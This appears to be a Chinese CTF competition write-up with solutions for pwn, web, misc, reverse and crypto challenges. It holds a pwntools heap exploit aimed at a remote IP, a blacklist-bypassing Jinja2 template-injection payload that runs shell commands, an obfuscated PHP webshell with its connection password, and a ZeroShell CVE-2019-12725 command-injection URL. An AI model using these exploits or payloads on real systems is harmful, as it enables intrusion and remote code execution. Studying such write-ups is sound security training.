PWN

anote

堆里存在一个地址,在 edit 的时候会调用这个地址中的地址,show 可以得到堆地址,直接往堆地址里写 backdoor 地址,然后把堆里的地址改成写入 backdoor 的堆地址进行 edit 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('39.105.102.220', 33056)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add():
r.sendlineafter(b'>>', b'1')
def show(index):
r.sendlineafter(b'>>', b'2')
r.sendlineafter(b'index', str(index))
def edit(index, size, content):
r.sendlineafter(b'>>', b'3')
r.sendlineafter(b'index', str(index))
r.sendlineafter(b'len', str(size))
r.sendlineafter(b'content', content)

backdoor = 0x80489CE

add()
add()

show(0)
r.recvuntil(b'0x')
heap = int(r.recv(7), 16)
edit(0, 0x28, p32(backdoor) + b'\x00' * 0x10 + p32(0x21) + p32(heap + 0x8))
edit(1, 0x10, b'a')

r.interactive()

WEB

Safe_Proxy

post读入参数:

1
template_code = request.form.get("code")

黑名单:

1
2
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen',
'system', '\r', '\n']

构造payload如下:通过单个 _ 乘 2 绕过双下划线限制,通过将 so 字符串切片颠倒绕过 os 限制,将 import 和 popen 切割成两个字符串再拼接绕过字符串限制

1
2
3
code={%set a='_'*2+'globals'+'_'*2%}{%set b='_'*2+'builtins'+'_'*2%}{%set
c='_'*2+'imp''ort'+'_'*2%}{%set ax='so'[::-1]%}{{cycler.next[a][b][c](ax)
['pop''en']('cat /flag > app.py').read()}}

需要进行url编码:

1
code=%7B%25set%20a%3D'_'*2%2B'globals'%2B'_'*2%25%7D%7B%25set%20b%3D'_'*2%2B'builtins'%2B'_'*2%25%7D%7B%25set%20c%3D'_'*2%2B'imp''ort'%2B'_'*2%25%7D%7B%25set%20ax%3D'so'%5B%3A%3A1%5D%25%7D%7B%7Bcycler.next%5Ba%5D%5Bb%5D%5Bc%5D(ax)%5B'pop''en'%5D('cat%20%2Fflag%20%3E%20app.py').read()%7D%7D

得到 ok 之后用 get 方法访问主页即可得到 flag

hello_web

访问 url/index.php?file=…/./hackme.php

1
2
3
4
5
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

base64解码

1
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

得到蚁剑连接密码:cmd[66.99

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);

$encodedString1 ="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$encodedString2 ="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$encodedString3 =urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

$part1 = $encodedString3[3].$encodedString3[6].$encodedString3[33].$encodedString3[30];
$part2 = $encodedString3[33].$encodedString3[10].$encodedString3[24].$encodedString3[10].$encodedString3[24];
$part3 = $part2[0].$encodedString3[18].$encodedString3[3].$part2[0].$part2[1].$encodedString3[24];

$combinedPart = $encodedString3[7].$encodedString3[13];
$part1 .= $encodedString3[22].$encodedString3[36].$encodedString3[29].$encodedString3[26].$encodedString3[30].$encodedString3[32].$encodedString3[35].$encodedString3[26].$encodedString3[30];

$decodedFunction = $part1;
eval($decodedFunction("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));

$base64DecodedString =base64_decode("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==");
eval('?>' . $decodedFunction($part2($part3($base64DecodedString,$combinedPart * 2), $part3($base64DecodedString, $combinedPart,$combinedPart),$part3($base64DecodedString, 0, $combinedPart))));

echo $part2($part3($base64DecodedString, $combinedPart * 2),$part3($base64DecodedString, $combinedPart, $combinedPart),$part3($base64DecodedString, 0,$combinedPart));
?>

连接上去flag位于 /var/run/log/83…/flag

MISC

zeroshell_1

zeroshell_2

根据上一题的流量包,利用cve进行测试

可以实现,然后搜索flag:

CVE-2019-12725/CVE-2019-12725.py at main · gougou123-hash/CVE-2019-12725 · GitHub

c6045425-6e6e-41d0-be09-95682a4f65c4 c6045425-6e6e-41d0-be09-95682a4f65c4

zeroshell_3

在可疑进程中找到文件

view-source:http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27ls%20-al%20/proc/10629%27%0A%27

在其中的 .nginx 文件中直接搜索发现有两个ip,就是驻留木马的ip:202.115.89.103

zeroshell_4

如上题所述,文件就是 .nginx

zeroshell_5

ip 后面有一串字符串,就是密钥

WinFT_1

WinFT_2

火绒剑查看恶意文件,找到DriverUpdates,base64+html解码

1
f^l^a^g^:JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs=

REVERSE

ezCsky

https://github.com/MotoFanRu/M-CORE_IDA-Pro/blob/master/mcore.dll

mcore逆向

观察函数名 RC4 check里有一个xor

1
2
3
4
5
6
7
8
9
10
11
12
cipher = [
0x0a, 0x0d, 0x06, 0x1c, 0x1f, 0x54, 0x56, 0x53,
0x57, 0x51, 0x00, 0x03, 0x1d, 0x14, 0x58, 0x56,
0x03, 0x19, 0x1c, 0x00, 0x54, 0x03, 0x4b, 0x14,
0x58, 0x07, 0x02, 0x49, 0x4c, 0x02, 0x07, 0x01,
0x51, 0x0c, 0x08, 0x00, 0x01, 0x00, 0x03, 0x00,
0x4f, 0x7d
]
for i in range(len(cipher) - 1, 0, -1):
cipher[i - 1] ^= cipher[i]
decrypted_message = ''.join(chr(byte) for byte in cipher)
print(decrypted_message)

flag{d0f5b330-9a74-11ef-9afd-acde48001122}

dump

加密后的flag

单字节带参数运行 爆破后得到结果

找个管道板子改一下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import subprocess
from string import printable

# 密文列表
encrypted = ["23", "29", "1e", "24", "38", "0e", "15", "20", "37", "0e",
"05", "20", "00", "0e", "37", "12", "1d", "0f", "24", "01", "01", "39"]

# 当前匹配的索引
current_index = 5

# 初始化标志字符串
flag = 'flag{'

# 遍历每个字符位置
for i in range(17):
for char in printable:
# 调用外部程序并捕获输出
result = subprocess.run(['re.exe', flag + char], capture_output=True,
text=True)
# 获取输出并格式化
output = result.stdout
output = [output[j*2:(j+1)*2] for j in range(len(output)//2)]

# 检查当前索引的输出是否匹配密文
if output[current_index] == encrypted[current_index]:
print(char)
flag += char
current_index += 1
break
print(flag)

flag{MTczMDc4MzQ2Ng==}

CRYPTO

fffffhash

参考文章

https://ctf-wiki.org/crypto/hash/fnv/

https://blog.maple3142.net/2023/09/03/downunderctf-2023-writeups/#fnv

先构造格,然后用bkm算法

列向量构造

1
[ p^(20-1), p^(20-2), ..., p^1, p^0,-(TARGET - base_num*p^20), MOD ]

增广矩阵

1
2
3
4
5
6
7
8
[ 1, 0, 0, ..., 0, 0, 0, 0 ]
[ 0, 1, 0, ..., 0, 0, 0, 0 ]
[ 0, 0, 1, ..., 0, 0, 0, 0 ]
...
[ 0, 0, 0, ..., 1, 0, 0, 0 ]
[ 0, 0, 0, ..., 0, 1, 0, 0 ]
[ p^(20-1), p^(20-2), ..., p^1, p^0,
-(TARGET - base_num*p^20), MOD ]

权重缩放矩阵Q

1
2
3
4
5
6
[ 2^256, 0, 0, ..., 0, 0, 0 ]
[ 0, 2^8, 0, ..., 0, 0, 0 ]
[ 0, 0, 2^8, ..., 0, 0, 0 ]
...
[ 0, 0, 0, ..., 2^8, 0, 0 ]
[ 0, 0, 0, ..., 0, 2^16, 0 ]

缩放后的矩阵M

1
[ 2^256*p^(20-1), 2^8*p^(20-2), ..., 2^8*p^1, 2^16*p^0,-2^16*(TARGET - base_num*p^20), 2^16*MOD ]

BKZ约简后的矩阵M

1
2
3
4
[ m11, m12, ..., m1(n+1) ]
[ m21, m22, ..., m2(n+1) ]
[ ..., ..., ..., ..., ... ]
[ mn1, mn2, ..., mn(n+1) ]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import long_to_bytes

BASE_STATE = 0x6c62272e07bb014262b821756295c58d
MULTIPLIER = 0x0000000001000000000000000000013b
MODULO = 2**128
TARGET_VALUE = 201431453607244229943761366749810895688

BYTE_LENGTH = 20
matrix_columns = [MULTIPLIER**(BYTE_LENGTH - i - 1) for i inrange(BYTE_LENGTH)] + \[-(TARGET_VALUE - BASE_STATE * MULTIPLIER**BYTE_LENGTH),MODULO]
matrix = Matrix.column(matrix_columns).augment(identity_matrix(BYTE_LENGTH +1).stack(vector([0] * (BYTE_LENGTH + 1))))

scaling_factors = [2**256] + [2**8] * BYTE_LENGTH + [2**16]
weight_matrix = Matrix.diagonal(scaling_factors)
matrix = matrix * weight_matrix

matrix = matrix.BKZ() / weight_matrix

for row in matrix:
if row[0] == 0 and abs(row[-1]) == 1:
candidate_vector = row[1:-1] * row[-1]
break

current_state = BASE_STATE * MULTIPLIER
next_target = (BASE_STATE * MULTIPLIER**BYTE_LENGTH + candidate_vector[0] * MULTIPLIER**(BYTE_LENGTH - 1)) % MODULO
recovered_bytes = []

for index in range(BYTE_LENGTH):
for possible_byte in range(256):
new_state = (current_state ^ possible_byte) * MULTIPLIER**(BYTE_LENGTH - index - 1) % MODULO
if new_state == next_target:
recovered_bytes.append(possible_byte)
next_target = (next_target + candidate_vector[index + 1] * MULTIPLIER**(BYTE_LENGTH - index - 2)) % MODULO if index < BYTE_LENGTH - 1
else :
current_state = (current_state ^ possible_byte) * MULTIPLIER % MODULO
break

print(bytes(recovered_bytes).hex())

rasnd

hint₁ = a₁p + b₁q,hint₂ = a₂p + b₂q

则 a₂hint₁ = a₁a₂p + b₁a₂q,a₁hint₂ = a₁a₂p + b₂a₁q

两式相减得 a₂hint₁ − a₁hint₂ = (b₁a₂ − b₂a₁)q

于是 q = gcd(n, a₂hint₁ − a₁hint₂),可以做检验

a₁, a₂ 不大,可以爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from itertools import product
from tqdm import *
from gmpy2 import *
n=15769268603502746071600709479349501671942072409551749808518404446146372640041868825927241217687357799756884209652861349024058790687601160190961413182174670193666718587975791796568820823449076671266896947743297956433712393458894414910031518026205814474649606723502109567673468077038508290133910534548054454040453640649458190234704437334475645110485735780819556877592248872685780406279047607986822479274568674454148347895722752169702466878785766703680043980540114619441993870810357870664494794981883382323406675660840105300458112771335473142261075758157036783361137929042351835879774245564109950556259370989804850127153
c=10503145151311069398013805274599301928881587473118676685240050466571685020946444573588099219298255737612651061364229481850126674886874209749867614394313388776327671811674031449686373289414390718526167265729274243141547071176185256878546702476438060235580839216719663426246349336020878649850144732915040721507755155739542955041706883601725481383994019193776461208136619065811507399045846002413527718260466691700306312747688247797354976264105878293444970398282654466869181408516256908989302160773831985545088345652286886101181768462145319077745713568731917584592675518588137031039724379811641753124193772595687423020909
hint1=2338577116689469922597162330677757040766426623283435431947537571674706585678782333860406896205783281773267874822040244213733100952018750608012127049308007780798532351713760864898812799150989138876240340656154413216407081563369150854587559433664241431481524548279314543156375989661634240652492826222380143049083674134208851796877974206943586185
hint2=5097190193497621148802377379889119980775378018343903586030791272503361938024716121212665098452144229194139427924335297214947763312815172748167239262612507963913186311946507706684217350449739287455963397732815703374221358931973374724461367323029030921719137149331190536637244415566908280596541859658530739027930032296179606099705006418012071959184775710415107413137542004772581762659815116949183777416404582286846465316012597118065617352097699013153256113282092867
'''
for a1 in range(2**11):
for a2 in range(2**11):
hhh=a2*hint1-a1*hint2+0x114*a2-0x514*a1
q=gcd(hhh,n)
if isPrime(q):
print(q)
'''

q=122479424865559540141835291061503396603847357942010783731355904385942513436297383863216796505090873423699407059995715442562282083078777306631744361980584089624852895921245853121893882654834823439356886703020315707538736845823123737966773559034824126605581400386830277671787129679907946516079690300270890323693
p=n//q
d=invert(65537,(p-1)*(q-1))
flag=long_to_bytes(pow(c,d,n))
print(flag)

求逆元然后解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
n=15721152474768197792388043192256306384886382686864427378315836490352150925892287527365094887180445746774391836959824341087483784519122656096240090721944285728122936070150260306117516741192512409011986351026708997438601276319742100233457494155212513777226673470578567427683619818347476055583311594878799333060717839883099906923557478608404154971720426415863162684103084913883906501379824815940482537640221534101877092354105527230906413770901913020159033811508074291306328863394202794630313789230740722154400065266353884092605318399523198898695075333361402790439287922980635042335914655078500044716631361831993737765451
c=120331771485788272734620110435120839294633521979080132106358211805542587230249736176734074994554452386750682754387812862521207867857836461998449236973126111066063639437100475135084438666656926829778816642745651546047212887854314124963960375147581016481632073683032347516984371279633280768290533821356512480659522655914683736436680630798881606982029104097960304526532580232820141380694715470265214075589512751103572986099319824123844634114673387415582332227807377094010891015510556595095815333864563847709355818929503054963651023083014647348136636405137268834179481510718328142510466353442275883918547239607594157724
hint=9167496109930936299945717859791919307355575080988991675812750527449402427293202883287855535805413026324142139580489301555880692386460042748146442295438987102870725365056740221204814466755923440189684967758152673551768201255566501188753432784014389200259432045968004134846597327815932363966054606808351068463508983466386198440763136067304711731253461989062736064165269190196133053154781685638467716897359180756870509653471964654957540365743681941536328986762086332067086263385790382591698569937749835065596576554676775477063484015362585919545504044230274993578640099142420349243107802274634932577409352382705988647598

from Crypto.Util.number import *
import sympy
from gmpy2 import *
pq=inverse(hint,n)%n
p,q=sympy.symbols('p q')
f1=514*p-114*q-pq
f2=p*q-n
res=sympy.solve([f1,f2],[p,q])
print(res)
p=167157309527281227221296341346060604589227465285545885009283747836429764928158618422746902218578107828669587880003607511927588950235389354081715681454188225200363642701870718849125214687490256457177122760040635119295309302461884186890690093092147135416825952409498110010269274893291609630404044411460703959999
q=94050044950037899155902151894261621132926178346018905836501856304006335215937052819252307129222996280447648216113533346110863866006911005939908996791949511496005989133456524988953771153289182335914329757066816776302588705097699459766311836819933196506938658420355668657227917780200770411318843485777776274549
phi=(p-1)*(q-1)
e=65537
d=invert(e,phi)
flag=pow(c,d,n)
print(long_to_bytes(flag))